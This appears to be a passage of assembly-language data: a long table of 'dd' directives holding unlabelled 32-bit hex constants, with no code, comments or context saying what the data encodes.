		dd 507F75BDh, 5F088368h, 0FA61D51Ch, 0CB093B24h, 4986E9A1h
		dd 0F756403Bh, 32C746B3h, 0C2608C90h, 0BD91C617h, 5A9FF3AFh
		dd 0B10D35Bh, 5008F148h, 4F62508h, 0EC0C5426h, 0C4C2A905h
		dd 5152A0B8h, 2B2F00FAh, 82D4361h, 7CAF2404h, 0BE905BEh
		dd 0A84A04B4h, 7C77BA0Ah, 4A0DD3B3h, 4AFBFD16h,	0C5CD6681h
		dd 0A0107239h, 6F0916B9h, 0FF2CFC32h, 510779D1h, 528293B5h
		dd 8F6BDC90h, 921EC8BEh, 668CB1B6h, 5BD5F68h, 6F1CB193h
		dd 0E98214B8h, 3B4DAC08h, 0F3215C60h, 4DF9D5Eh,	0A6D0807Ah
		dd 0A66F7568h, 478F1999h, 6FBC020h, 1B312790h, 8F95DC59h
		dd 0D8F7138Dh, 11CB2E04h, 0C7FC2185h, 0DE1DDD09h, 911360D4h
		dd 0FCDBB53h, 0BAC95EECh, 3CB87FCDh, 0B9828E15h, 7D381A1Dh
		dd 40CC4277h, 0F414FA08h, 0C1214856h, 0D7C98100h, 0E96A691Fh
		dd 84015332h, 0D07BF558h, 1CF0D064h, 58E51288h,	0D7CBFE5Bh
		dd 2FDDAB97h, 0E8C041F5h, 0A02EE92Ch, 5180CA3Fh, 2A7648B1h
		dd 87E18003h, 0C191C9FEh, 0EB04DDC0h, 9EA0BCABh, 2C74C828h
		dd 6245595Fh, 3FE09AE9h, 6F7B7204h, 0A6B2471h, 0B25E6C24h
		dd 68B963F3h, 8FAFFD55h, 96E90B3Eh, 4E485D72h, 82827F22h
		dd 97BB856h, 74767A80h,	42921841h, 4F27189Ch, 84DF2548h
		dd 0E2D8A75Dh, 0B3D79751h, 580C0040h, 87430D41h, 624DE9DEh
		dd 0D5077CA5h, 0BA6C121Ch, 2A357A91h, 0C524C331h, 0F82DF720h
		dd 0A55E4948h, 6CBC3BBBh, 92F38A4Eh, 0B0B51FF0h, 0E92809F8h
		dd 4DF7AC26h, 21FE174Eh, 3E675CDEh, 0F2B53521h,	0E55AE02Ah
		dd 0C5FE0612h, 2872C2BAh, 7959ED48h, 78EB8080h,	7CF52026h
		dd 572F4790h, 8B51F1ABh, 0B35CE045h, 6A7B1F41h,	0B2CC77F6h
		dd 0F84CA8B2h, 0C3CE80B0h, 907DA60Dh, 0EFAE3DE9h, 4021DE13h
		dd 2EF1E505h, 0D4BF35DCh, 58C56261h, 8660C042h,	929D1410h
		dd 84D9FF99h, 2F8045Ah,	3F002DEEh, 0C52AD3E8h, 0B7B9A3FFh
		dd 256D74E9h, 3DCCFE59h, 0B11C25E9h, 3A627E68h,	4A42425Ch
		dd 0B31023B8h, 0BFCD5AD1h, 9C00A92Ah, 9570AC54h, 93BC4BDBh
		dd 3705D5E3h, 8C47E95Ah, 60EAF5BEh, 0BB8086FFh,	0A63B13AEh
		dd 4F300040h, 31509F6Ah, 2030FB5Bh, 0B6C5DFE9h,	4752971Ah
		dd 0D27DB2DAh, 2C4679EDh, 0A49A94FEh, 0C1E5D1B5h, 3F669268h
		dd 0E9C2E0B2h, 5ADF6E76h, 70D67DE7h, 74C756EAh,	0FC884C61h
		dd 68E3CD53h, 0DB8B3DC0h, 60BD70ACh, 0F85B2929h, 262F28BEh
		dd 89F240h, 0FE0D5FF8h,	54DAD02h, 0E50B9200h, 19903504h
		dd 0B47F4E3Ch, 3B17F1BDh, 5EF9824h, 0EAA1B9B0h,	0BEE9F599h
		dd 507C0028h, 9265E132h, 2460FB98h, 0B8E59FC8h,	28B82C83h
		dd 4049C7D8h, 806D6019h, 23543468h, 0A240919Ah,	5954ECADh
		dd 57580116h, 0A94FFB4Dh, 0E901D2ECh, 640F1B39h, 8418472h
		dd 2DE9C258h, 1A71C77Ah, 8805D786h, 0FF35FC0h, 6160BEB8h
		dd 0D6F76976h, 660ED490h, 0C07CA64Dh, 627D2AF6h, 0DA9034h
		dd 711C7753h, 0FE9F031h, 0D6011948h, 0DADA0BCDh, 797197E7h
		dd 0A1E79352h, 252BB19Eh, 0DAE7AF8Fh, 0C078E915h, 27EA145Eh
		dd 916B0AB5h, 0F78881FDh, 0E9C7FE5Ah, 0DE27AF69h, 0EED26E4h
		dd 472122C9h, 7004EDC1h, 1E2E0944h, 0F502F60Eh,	618B3549h
		dd 3761EADAh, 0F0042F23h, 0EC01EE3Dh, 46F460D4h, 0F2252A1Ch
		dd 0DE558AF5h, 2D09EB96h, 0C05D47A7h, 501E25E2h, 0E7F8735Eh
		dd 812FBC5Eh, 566042D1h, 775A0C82h, 4975BE4Eh, 12C28C0h
		dd 0BAAD6612h, 0C9687D91h, 0B2C00C28h, 5AD728DAh, 57FA3025h
		dd 0CE515F48h, 0EF785CBFh, 0A91EEEECh, 7D24D85Bh, 4026559Ch
		dd 31485A77h, 7FE9F071h, 7FF99D0Fh, 61CC2D04h, 0B26676B0h
		dd 0CDB132B1h, 21D1C563h, 6FF0049h, 0A03ECF39h,	575B9C6h
		dd 8E950C0h, 0E375FF05h, 17BFA713h, 0E9E0815Fh,	3FB438F4h
		dd 218AB0ACh, 9D712B68h, 0F8F9ADC4h, 0D94AE9ECh, 0BFA5FCB8h
		dd 342A43B5h, 0E9AED820h, 0C6F81A25h, 0B462FFD4h, 4C63A811h
		dd 25E6128Dh, 0BBD6ACA8h, 78A22472h, 1014AB6h, 0DB5011FDh
		dd 7F30090Ch, 0B45512DDh, 3020AE34h, 9866942Ch,	83777879h
		dd 79126CF3h, 6A01D9F7h, 0EE16C654h, 5D51C02Ah,	295E7AF0h
		dd 81ED9C4h, 46CF89CFh,	95B5E5D6h, 0F7C235F1h, 0C6B9FD71h
		dd 0AFEF057h, 26EB8880h, 0A1DB5A59h, 0D25167E9h, 0A4CB8AF5h
		dd 309EA1B5h, 0B7D8118Fh, 182785B2h, 0E534EBBh,	7709482Ah
		dd 4EB8930h, 0BE00B1E4h, 1574046Ah, 0D0E68103h,	0B05F9A6Dh
		dd 148A68EEh, 9D29F9A6h, 2FE9C954h, 0C5719310h,	517E0582h
		dd 12277A5h, 7D0820A9h,	556BD048h, 0A9A4D6EFh, 661CEA10h
		dd 0B45B55Dh, 1ADFA482h, 1CF5C30h, 1048BB53h, 0EBC1E86Bh
		dd 0DC20FEB8h, 5F52277Ah, 4642077Eh, 349EDFABh,	8205459Dh
		dd 7D05E952h, 4A3D6645h, 0E95D1659h, 65363431h,	0AE8B9B6Fh
		dd 0D77542h, 6274412Bh,	78DEF96Eh, 8BBF021Fh, 92F7A10h
		dd 0CB0C815Fh, 0E76170E6h, 12ACEBD8h, 0FECD9C2Dh, 0F44CA304h
		dd 0A5EDCC18h, 0BFE8B180h, 0FA4C6DCh, 0AA452702h, 6C58C010h
		dd 0F97805D8h, 4DE068E9h, 8FDDDAh, 317B5BA0h, 64B7EF76h
		dd 0FB68121Eh, 4E6FDA79h, 2AB9CAAEh, 0D6B08008h, 0A511A609h
		dd 1C83FD2Bh, 0A92CC5DDh, 0B13DE3BDh, 0FC1318F6h, 56DF9189h
		dd 0A1BE4483h, 0FB554550h, 431F771Fh, 2EB72409h, 0F35EF6D0h
		dd 449D2EF9h, 7D6CF249h, 81D3BD05h, 476A68C1h, 5DC4AD6Ch
		dd 0E80016D3h, 5214B028h, 5601DBAh, 1072AF61h, 0DA7CF0Fh
		dd 0DB80F66Dh, 28704DE7h, 9867946h, 0E9BCC49Bh,	0CE55A4FDh
		dd 4760E999h, 0EDE6649Dh, 0F86382D0h, 25AC6755h, 0B0FDBA62h
		dd 826EDDF6h, 5611361h,	43698DEAh, 0EA7220Bh, 0F660BA12h
		dd 2DCBB652h, 2AD7D6F6h, 63161C2Ah, 67AECCBBh, 2D31F040h
		dd 0B4DE58C3h, 6ABC0717h, 2E652D10h, 0F512DE5Eh, 0ABA9C4ABh
		dd 528874C9h, 0FF2F73E1h, 3FD82C92h, 0F00865Fh,	0AC09A92Dh
		dd 31ECB68h, 892AF484h,	6F873BF1h, 39E12E94h, 0D308E36Fh
		dd 0A10991FBh, 0B4C00460h, 0B8DDD526h, 7DD9A218h, 0E9702576h
		dd 0F3DF5EBBh, 607F1322h, 0EF4ECDE7h, 3DF8F024h, 4B5C9B11h
		dd 439174C7h, 0EB410865h, 7A2281C6h, 662F8405h,	80048009h
		dd 0F64A99D0h, 52F1ECEh, 0D977BAD7h, 7F22A50Eh,	73FD8D99h
		dd 0FC5C1943h, 7F5B02A5h, 68FAE580h, 120250Fh, 960882FBh
		dd 97AB982Fh, 4230BAF5h, 6481A03Bh, 9826B309h, 1656091Ch
		dd 70016E70h, 70F3316Bh, 910CBB07h, 242C6168h, 4B461740h
		dd 3084EB5Bh, 5BF30817h, 94452860h, 0E91375D4h,	87F2C57Eh
		dd 2489E9A1h, 550FBD69h, 457EE617h, 0C2E4DF2Bh,	9738184Fh
		dd 2DBC925Bh, 0C31AD92Fh, 0F770D278h, 75A7DAD1h, 0C45648ABh
		dd 89DD9C9h, 3500AC97h,	37A952E4h, 6DD848F7h, 58AFA110h
		dd 5AD61545h, 2FF401Ch,	580EC6BDh, 1E922EA3h, 5F74171Ah
		dd 5F4A49C7h, 0F5AD4AD3h, 9F02CC98h, 5652B196h,	3C6367BEh
		dd 3E0EF645h, 0C0B58ACCh, 14326EC2h, 0F4E95107h, 0DC798A66h
		dd 1913ADBDh, 0EB8CD5E5h, 0FA1207E3h, 0F28D635Eh, 0F4E540C4h
		dd 980C3C0Bh, 56E4406h,	0A6049E0Bh, 3F005819h, 0A74F3B30h
		dd 84892D3Ch, 40AA5906h, 685355A4h, 0A6247FDCh,	9BA41378h
		dd 5D45D616h, 0D2825F54h, 0D2680180h, 1DD82B09h, 5E10CB1Eh
		dd 31F21000h, 90F84016h, 13BBBC94h, 6F30C31Dh, 0BF5AD021h
		dd 5097F97Eh, 6AD462AEh
		dd 787CB24Ah, 2A52DF52h, 0E98D519Fh, 0FECABA84h, 0A1019F7h
		dd 1FBA00C2h, 317DFE70h, 3FB9DD1h, 0A10DA24h, 0B2EA8116h
		dd 62DCD745h, 939425E9h, 0BA2F6366h, 2D3A57D2h,	963F0174h
		dd 40FC1020h, 629CF1E1h, 17D73206h, 0BC01E0B8h,	45DC9F42h
		dd 1834863Ah, 0F811010Dh, 0BC0CA46Ch, 0B1CA8DFDh, 0B5064087h
		dd 5648A864h, 7A8904FBh, 0C6AA1B05h, 2E08A688h,	0A7FF88BAh
		dd 0BD621B0Bh, 0FC2F43DCh, 0EF4FC26Bh, 836DEBC8h, 2CC00834h
		dd 0C0DE6CA2h, 544B1A43h, 0CDBC47E9h, 0E7338927h, 1686ACE0h
		dd 0C028B36Dh, 6F47DD06h, 6B5F35E9h, 0E33DEB4Eh, 9B28FE2Fh
		dd 49681559h, 0B5402F40h, 94B74B66h, 5FD5BE89h,	0E0AC6313h
		dd 1CA41684h, 7458C10Ah, 0F5B204EBh, 95BE812h, 0B4D0A46h
		dd 3B7FC48Bh, 98F23B0Ch, 69880D13h, 7A186676h, 3EE6920h
		dd 0A33558C7h, 0FFADE013h, 0F42B5489h, 0DB6919Dh, 0E91C7781h
		dd 6382AA4Eh, 4F632F5h,	0DD69097Dh, 130BAAAh, 2DDF529Dh
		dd 1C41F301h, 0AC1C2008h, 95A04E97h, 1D2868FAh,	2C7835F6h
		dd 5F5CB52Dh, 6454251Ah, 135A550Eh, 0C2F7E2BAh,	5CC1E959h
		dd 0DE5E1398h, 90EF4B86h, 2C99056Dh, 849F567Eh,	0EDEB29DEh
		dd 8772347Fh, 0AE2990BFh, 1D7D2370h, 53996E54h,	89AB700h
		dd 0C2805BFAh, 2040767h, 402CD028h, 0A368665Ah,	88FF144Ah
		dd 501C805Eh, 63A4F888h, 0E9666072h, 0BFA35E37h, 0FCF8CE2Dh
		dd 0F2449D12h, 2CB9969Fh, 82749E28h, 769F1B1Eh,	67490440h
		dd 83622617h, 0E6C19201h, 5A704E08h, 0BFAA7B05h, 11421260h
		dd 7D67BA27h, 809D442h,	6C182FDh, 60D05E1Ah, 45384356h
		dd 204C0123h, 54CA810Ch, 0B05F4C24h, 166D3FD9h,	32FC22ADh
		dd 583EE962h, 0E2D12D4Ah, 0AE580CD6h, 8B5F82AAh, 0B4DD2F2h
		dd 50093CFEh, 0B42B1704h, 200BB989h, 803DDF79h,	0BB3341C2h
		dd 449777Ah, 1E1ACDE1h,	9A1F827h, 84986385h, 45B83493h
		dd 301BB309h, 4974515Fh, 0C03DF957h, 3C4727BAh,	0B951076h
		dd 0F2C703F1h, 12174F2Ch, 37F2EF29h, 0E98230D0h, 0FC49CCA0h
		dd 2AF4DDD0h, 9AC44BBFh, 6754E5E1h, 0DAB93B1Fh,	34E92FF0h
		dd 8124CFC0h, 153C7A3Bh, 0DE1CE4FAh, 0A12A8641h, 60671DF5h
		dd 43807D13h, 97D95087h, 6B3A1F5Bh, 0F6358903h,	0AAC21F5Eh
		dd 41E2737Dh, 15026856h, 1369CBBFh, 13F2DC30h, 5ABD2778h
		dd 5457C812h, 6C395070h, 481F0121h, 215D160Ch, 2EAFCA88h
		dd 0FF96F2F8h, 0C0892288h, 3BCEB869h, 44931420h, 29C7290Bh
		dd 0E94F4047h, 40BA4FEBh, 0F165A4A0h, 0DA02BF6Fh, 29C7C868h
		dd 0C19EC1EFh, 504C307Fh, 0EAF8BAB0h, 0F2973EB4h, 2645F307h
		dd 0EBC12F00h, 0CB810307h, 101D605Ah, 5230F3B0h, 58174B2Fh
		dd 565E3060h, 0EF260234h, 28527F5Eh, 3A84E025h,	0FE2ED6F1h
		dd 0D615782Ch, 1BB30EE9h, 659BAE13h, 84F9BC4Eh,	0FB1C59F9h
		dd 0D97A657Eh, 50E2EF5Bh, 0B705E982h, 5AF65944h, 393C8295h
		dd 0D2C00C73h, 564B2B71h, 890A7DE8h, 42D45931h,	7F7172A0h
		dd 9FE2C0CEh, 125E670Ah, 101EA83h, 50E40BA9h, 97842A4Ch
		dd 11EEF095h, 0FE92F786h, 1DAB9D2h, 27391668h, 0E9560955h
		dd 0B73740A1h, 0EF800067h, 5BFE28BEh, 8709B551h, 0D4B0B1E9h
		dd 936862F2h, 93C1D37Fh, 2A97B831h, 0B5A09C5Dh,	0C19EFA70h
		dd 3B406787h, 0D61069FFh, 9156AD64h, 0DCB9E709h, 0DE3A4BA0h
		dd 4C7D4462h, 6BEFB520h, 0BF65E905h, 89EAD652h,	4E7FF25Ah
		dd 0CB8FA27Ah, 0F2615A1Eh, 960DD5FDh, 0C9130521h, 0DC8AFD6Eh
		dd 0A55D79E7h, 0E9275AF0h, 0C49D6999h, 5B649E2Eh, 95255EF8h
		dd 88249C64h, 2B351CD5h, 2BE822E1h, 1BE59E9h, 57D1F704h
		dd 1F31B351h, 0AE008159h, 29F05D90h, 48E927FBh,	392559C0h
		dd 77971512h, 504EA00h,	1D4B5FB1h, 0FAD0F71Bh, 42A0F1Eh
		dd 0E5D774E9h, 5AAD8419h, 8ACD021h, 9CCEC84h, 80210246h
		dd 0EF6E7E8Eh, 45D8E469h, 5AF18807h, 59458058h,	64D175A1h
		dd 0A9E3ED93h, 5DEB8477h, 0D689C3EDh, 0E789AE22h, 0A7484757h
		dd 0EE15995Dh, 0B943007Bh, 7C9214C1h, 620180B0h, 0E93E064Ah
		dd 0AC3E8384h, 0ECBAB46Ah, 57018B3Fh, 9F46BBBAh, 0B257EA20h
		dd 3170A01Eh, 1DCB0212h, 5CE9FE09h, 17D9B055h, 0CDEB83C4h
		dd 0FA313B0Ch, 9CCCB18Bh, 0BC6A2508h, 0BCF7B4FDh, 0A2A0E2F0h
		dd 58A46596h, 7DDB9A20h, 37326268h, 517DAB6Ah, 148BCEE1h
		dd 5062D351h, 9579FF53h, 745C3240h, 15F5B7Eh, 79D9EF04h
		dd 2089C902h, 0EBB69D3Fh, 0E55C040Eh, 9C40D45Fh, 0C78108EFh
		dd 0D9751825h, 0FC5E0C3Eh, 0E91734F4h, 64FAAB21h, 0FEAAC498h
		dd 0E6E90D45h, 0CF3B52B1h, 0B31A2A62h, 0EBE404Ah, 4F002520h
		dd 0FC2D1101h, 0E2FCD6F9h, 32A6E2A5h, 6AC577F4h, 2DB38D88h
		dd 0C6B01F64h, 0F3256B9Ah, 886D7F5Eh, 69D3E909h, 0EA2EC418h
		dd 58807B68h, 13DE0573h, 2899C0F1h, 0F63758E6h,	72C204DEh
		dd 0F2F9DD6Eh, 6102916Ah, 7D16E54Eh, 0A7870A7Ch, 0F8CB232Ah
		dd 3E107498h, 0EEA84931h, 0D08A2DADh, 0E9E14BDCh, 53C9107h
		dd 63D16882h, 585B93E6h, 0CEAED994h, 0FB33318Bh, 0C83E81A3h
		dd 25F2023Fh, 0DF0D0997h, 0F8E9DC59h, 29CB60E2h, 811C73BAh
		dd 0D7B81E04h, 82AECAF5h, 54585AC8h, 0F7B4682Dh, 741B9D98h
		dd 0E7066424h, 947A8702h, 4E605D6Eh, 2276A079h,	291DCA06h
		dd 16186114h, 5F836F3h,	53C23B13h, 74E004B8h, 0DA64AF70h
		dd 0DD2C7781h, 2EF15202h, 88B5B082h, 987463C2h,	4AD9E942h
		dd 0C4F9ECE0h, 491F5054h, 50C8A160h, 783D0D2Bh,	455AF39h
		dd 0E19D8F2Dh, 0E6BEA4DBh, 0CCF662FAh, 31B4D736h, 65E8F6BDh
		dd 3202A16Ch, 0A46993AEh, 0CFE96789h, 84ADD825h, 8795EF46h
		dd 511723BBh, 0A85049B2h, 0DB525927h, 0E1734B2Dh, 0F78D5716h
		dd 0FB52133Ah, 0E42BAA8Dh, 694034CCh, 0A293C433h, 0C1F9E493h
		dd 6D014771h, 43ADCE81h, 0C9303BA7h, 29809707h,	5C097BEEh
		dd 12160C58h, 53BA11E9h, 366EA8AAh, 806DB9D2h, 94F8E8EEh
		dd 0C7D06BEFh, 0EDBB1AC4h, 3FFD6802h, 6988C959h, 7BD00FCh
		dd 0C137E066h, 6505E52Eh, 6D742304h, 6585E921h,	50A86FADh
		dd 7A6852C0h, 2EEFF279h, 0E5CB4BACh, 23BE6DC0h,	272FF5E2h
		dd 0F1B2634Eh, 0AF729B2Dh, 5EB4E95Bh, 0DFA7865h, 6026D806h
		dd 0D94020BDh, 0EFEC0480h, 0AC58E330h, 0C22C2FA5h, 4A5A4342h
		dd 7278AA82h, 0C89C2FE9h, 25A234D7h, 25721187h,	0BE68E0EDh
		dd 0FE9713DFh, 69550D4Fh, 0D68C771Bh, 0B7411EA0h, 602B896Eh
		dd 0BF1ADAA8h, 4A746AF0h, 0E751557Bh, 56B187E2h, 0C2D749C3h
		dd 13D6CE8Bh, 0B6566D6h, 68FD6345h, 0F025EEB4h,	833EA834h
		dd 9546A4EBh, 82E9EA60h, 0C0B7014Eh, 685BD802h,	35F41298h
		dd 0CB54FE69h, 0B824897Bh, 56B0E905h, 4B179BA9h, 48C7A7D5h
		dd 3EF84B4Fh, 91747D2Fh, 1CC108A0h, 7BDE4A5Ah, 0A5DC0CADh
		dd 0AAD24B1h, 2DE92DD8h, 9055E443h, 957E8C87h, 68C1B7D9h
		dd 97387797h, 5AE2ABD2h, 0D4C2E9A0h, 0CF34D69Fh, 92082864h
		dd 0E380DB00h, 17F8EE6h, 5D258096h, 0D08A4A94h,	0D89940D5h
		dd 7077722Ch, 0A4E3EDA1h, 24B56E83h, 1065E8A0h,	3B38586Fh
		dd 18419EDAh, 736415CBh, 0F468058Ah, 0C6B6A81Dh, 0B3BD6CAh
		dd 114F50C2h, 33789742h, 466F682Fh, 95439880h, 0F3F70CC2h
		dd 0AAE962D8h, 55572768h, 9F4858B7h, 9BF4D589h,	0BB65D55Ah
		dd 88F66527h, 722553BDh
		dd 16C00E94h, 0F2C04FFCh, 91AF31AEh, 7E12FD97h,	6C7171FDh
		dd 0D70A8808h, 6D7C4C68h, 8F52508Fh, 5AF4C6FEh,	0B7E2780Ch
		dd 422449D8h, 0D3954B82h, 5272129Bh, 80D76898h,	683A5756h
		dd 5D3E7F90h, 0C978B25Fh, 0A7705F2Dh, 0EC255B7Bh, 0EE982DA2h
		dd 25651ECCh, 37D43C2Ah, 0D79A02E1h, 9580856Fh,	0AB1F00ADh
		dd 0E9378F7Ah, 79D5BE25h, 8EB84A13h, 55A10971h,	83F0315Eh
		dd 62E9C306h, 0B9CF46AAh, 0AB3C6817h, 41A40236h, 0F3B83FABh
		dd 48D8FC4h, 0F6BE5D54h, 0E630245h, 0D0012E52h,	15CD58C6h
		dd 96F02614h, 90A358CBh, 98B41368h, 6656E12Dh, 91EE4A65h
		dd 2451B9F4h, 0C33CBE66h, 0B494A47Ch, 68C97CA4h, 0B75859F3h
		dd 7325A854h, 7CE94127h, 20733DDh, 0BF6125BAh, 0EEC7C01Ah
		dd 6494090Fh, 48E276E9h, 0E149D357h, 0A562DCE9h, 27B6F92Ch
		dd 0EEF0CDCEh, 0E34EBC90h, 0D5C420A8h, 0CDEE139Dh, 685C1862h
		dd 0F97DEA27h, 0EF8069BEh, 549707DCh, 36C62934h, 0D358080Bh
		dd 43FD4913h, 0A508AA56h, 0BEC081B1h, 5B0BBD53h, 0E1880249h
		dd 19FCB2ADh, 75081024h, 685A03E7h, 0FD106787h,	662DB51Dh
		dd 8D297D0h, 0DC3C67EEh, 29FA5DFEh, 0EDE9F312h,	0FF5B1CB8h
		dd 0BF4BAF2Bh, 622E8B8Ah, 0E7689C37h, 95CF92FCh, 0B15100DBh
		dd 0FED9F663h, 0B45003C9h, 9BE98026h, 5BC7E183h, 574CE2DDh
		dd 7B70E6FCh, 81AB950h,	5913F0B0h, 0D9C444EAh, 0C48EACBCh
		dd 0ED4BDBFCh, 4624CB44h, 0EA81F988h, 0CA874205h, 484EB26Eh
		dd 70F018BEh, 2BE9D3BEh, 27497773h, 33F6A65Dh, 80888291h
		dd 0F9744FC2h, 52B2FA3Bh, 3D01A8E4h, 0C1208F27h, 52E38E7h
		dd 0AB157B97h, 0C38291AFh, 7BFC2F58h, 0B90C9409h, 792B7782h
		dd 10BD3D2h, 25E730h, 564303F6h, 6EA90BBEh, 0FD645FDh
		dd 6CE0E687h, 0F66164D7h, 9F915C7h, 0A22F5631h,	0C968B113h
		dd 0BFDC8C2Fh, 0CF6C2C1Ch, 0EF834FC4h, 75D74D82h, 0B8FD7709h
		dd 0EA58BDDEh, 0A8435E68h, 0B907DF7Ah, 449519Eh, 3785E465h
		dd 7169B0AAh, 7059440h,	7D56EBFh, 8270D257h, 0AA454577h
		dd 76252C24h, 0D29640AEh, 295F92BAh, 7AC277C0h,	0F8090261h
		dd 0E77EE942h, 0FE277159h, 2A602628h, 86CD7950h, 5576D0E6h
		dd 0EB27C578h, 1206FB5Dh, 0BBBCC0AEh, 0D63D110Fh, 0E229276Ch
		dd 0B46E55EFh, 26D69582h, 9F5CF88h, 65D4D728h, 5350D05Bh
		dd 0EA334EB3h, 88191405h, 0C707D7C7h, 0F2E958F0h, 6DBBB776h
		dd 2F720DD9h, 0BB963AA8h, 8309A897h, 0D21A040Ah, 58A5A73Dh
		dd 6BA7D499h, 0FEC516DDh, 55F63980h, 0DC7E692h,	0F0BF43E6h
		dd 12C487C9h, 5000E1D4h, 7E373FB8h, 0F635037Bh,	0A5EAE7B6h
		dd 0FF2CA7A8h, 9077262Bh, 0B1A5B3E4h, 0BA56442Bh, 724D9BC0h
		dd 0BC425E45h, 0D661735Fh, 5AEAE94Fh, 5CCE4D83h, 808C771Eh
		dd 0A161B175h, 88800B4Ah, 9F0925AAh, 0D09DCBD0h, 706CF54h
		dd 226FE7E2h, 7C57FEC1h, 475F12FEh, 9A68BC8Ch, 0F67CE19Bh
		dd 6EF0BAD2h, 4E09B727h, 6200F1D5h, 0D9F966D8h,	9D685102h
		dd 52CA0F6Eh, 0AE5893F6h, 0B125EB61h, 0C9E162Ch, 4910B21Ah
		dd 46B21CFCh, 0E10D33B7h, 882B5D0Fh, 680E50FAh,	94075F17h
		dd 63712B8h, 550752F9h,	0B43EEE28h, 25394CBh, 0DFF70285h
		dd 0E3A6805Dh, 242C85C9h, 101EFE89h, 5FBA5BE0h,	124DDAAFh
		dd 0E4AFF9F7h, 0CBEE57B5h, 4DA91392h, 0F42F65A7h, 0A207314h
		dd 0CB31249Dh, 80A53C86h, 0BE5B9304h, 0A7A8C4ACh, 82555E4Fh
		dd 9F51B8Dh, 72404AFh, 0C228937Eh, 78CEF0Fh, 0F9BD0CF2h
		dd 0B253C32h, 0F87D7589h, 0A7D0552Eh, 40A84830h, 0FC0BBF75h
		dd 6029902Dh, 1991C726h, 5C3CCC02h, 41F30BBh, 4ADBB804h
		dd 0ECC50E76h, 0B8969AE2h, 9C7264CBh, 0F5EA921Fh, 5C6E8887h
		dd 7B591C73h, 0EB894A96h, 91012589h, 0EC6F7924h, 0D93FBDEFh
		dd 76713E77h, 0F73C4CE9h, 0E4BDC44Bh, 0B440E6EBh, 0CDF85F68h
		dd 933B4018h, 675AB77Ah, 0D6201D4Bh, 56C82C99h,	0F45A3794h
		dd 458F493Dh, 618E3566h, 48376813h, 585AD230h, 0FFFA1401h
		dd 31198E32h, 6FB9A583h, 765A540Fh, 0B97B53A5h,	3A80E450h
		dd 2768F6B5h, 0E7DE3384h, 3FB27760h, 50F89530h,	0FD4F632Dh
		dd 0E9846195h, 72EECA15h, 2BD589FBh, 44580269h,	355E00F9h
		dd 8DB06808h, 90440EAh,	0C529FD2Fh, 27ED2DBFh, 0E5B610FEh
		dd 0CD091459h, 0ED54FD70h, 92D07927h, 0BB2EBA56h, 0ED39E90Bh
		dd 0B8759B7Dh, 2C1ABA46h, 0B4B815Bh, 0C6009732h, 0D33753F3h
		dd 0E10C0763h, 50F235h,	3294300Bh, 53FB535Bh, 3CD0AFF9h
		dd 25CF5747h, 68F02906h, 0DC9FEF90h, 0E23450CAh, 46968B6h
		dd 0BC16911Ah, 6F381E4Fh, 11D1DA93h, 0E0E13C77h, 68AEFC7Fh
		dd 0E9F0D334h, 0BCAF5BEFh, 6166CC56h, 0A32C0EACh, 0D80E6A04h
		dd 2E2D3FDDh, 96DF7742h, 4E78FEF7h, 9E8EEC55h, 7856F413h
		dd 0C325F5E8h, 0D3B90900h, 2D48127Ch, 0FA180183h, 0CF013090h
		dd 8A34E67Eh, 5997835Eh, 8FC62384h, 0B8934070h,	7A267C0Fh
		dd 54B0460Fh, 0A879B514h, 936B5572h, 4AEC1EE8h,	6355828h
		dd 0BB19E5BDh, 93D4E3E9h, 0B25C5207h, 6E160D60h, 56D3A2Ah
		dd 2FAD188Bh, 5FB5904h,	0D6044766h, 0B3C3C4C7h,	0D7C9AF73h
		dd 712F955Bh, 0F781008Ah, 73BE576Dh, 0E44AB1F6h, 2910FDE3h
		dd 698A5FD8h, 0D693553Fh, 728327A6h, 225771D7h,	5781A5A8h
		dd 6F771998h, 6807FBA6h, 26E32550h, 7CCAD7DEh, 1264F67Fh
		dd 84DD148h, 542DD903h,	0DFEC0CBCh, 0EA13B167h,	3AF6E128h
		dd 0CFCEAB93h, 0F2C83013h, 741D10F9h, 2F420502h, 0EBC24E3Bh
		dd 0B7F9484Ah, 2D885C6Ah, 4FF827AFh, 0FA49220Bh, 12E27D25h
		dd 6509080Bh, 8254DED6h, 18323B4h, 67C4B9D9h, 4C420E98h
		dd 0E009C8FAh, 76D38973h, 35790357h, 0E001032Eh, 332C5C66h
		dd 0BC6BE4E9h, 59E529E0h, 0F57CA542h, 0FC7A0451h, 0D973AD82h
		dd 1053811h, 0FB3CE9F9h, 98BFCA34h, 0B85E68CCh,	3E8203E9h
		dd 557A75Eh, 7CF3D9E9h,	35455816h, 2121FE5Fh, 982EAB44h
		dd 0FE41B89Ah, 0D4E07040h, 85C24ED0h, 12911C43h, 0F938442Bh
		dd 0C5930E98h, 61FD7995h, 0C4CB71Ah, 0F6C946D7h, 10009D49h
		dd 8006E4C0h, 98C9F43Dh, 0E16DF253h, 2C180FD4h,	0BC94C165h
		dd 712AC901h, 6F494CD2h, 0F611D904h, 0B69528BFh, 38BEC05Eh
		dd 0C0A63869h, 26027E9Fh, 0F1E906AEh, 1FBE364Ah, 0FE9B52CCh
		dd 34A89ECAh, 0AFE4132Ch, 75487A5Ah, 32E986E8h,	0B4B5CBBAh
		dd 0A7E4BC97h, 91304AD2h, 0ECCDAD48h, 0DCA1653Dh, 0C881AEDDh
		dd 3631EA52h, 7312ACh, 0AE8A3EAFh, 0DDB445E9h, 5D97D212h
		dd 5019AF4h, 0F2E45174h, 48D892FFh, 71A5BEF7h, 8177015Dh
		dd 0EB5146EEh, 0E91201Bh, 16795412h, 3197C7AAh,	0F25A7FB8h
		dd 19B27740h, 1E93117h,	0EE0E20AFh, 0E32745F4h,	0E205F61Ah
		dd 88037030h, 58C791D0h, 59CFB332h, 88873CE4h, 0BC40FC3Ah
		dd 0BE560051h, 0B907EA7h, 680153B9h, 0F131737Dh, 0E272895Eh
		dd 9E95006h, 5F56347Fh,	42247CD9h, 854057ADh, 9825114Dh
		dd 0BBD12DB8h, 0FB260778h, 0A817A55Fh, 9CEE96C4h, 0F7736891h
		dd 170E6B7h, 30CC44C7h,	57F1EEE9h, 0FAA060B3h, 0ECBD8997h
		dd 0BD98B537h, 46BD6E98h, 657C20DEh, 0F62E8BDh,	2459F51h
		dd 27DD030Ch, 515926C8h, 3D810D8h, 1FBD5556h, 610C827Bh
		dd 0A86F602Fh, 157881A9h, 6E301952h, 0F25BC04Eh, 2F10668Ah
		dd 0DFD5892Fh, 0BC05A820h
		dd 4B0A277Bh, 72DD801h,	7D875B09h, 9C38DC4Ch, 0F5584672h
		dd 54695204h, 9612907Fh, 28A80ABh, 0D5FC23D0h, 222DF531h
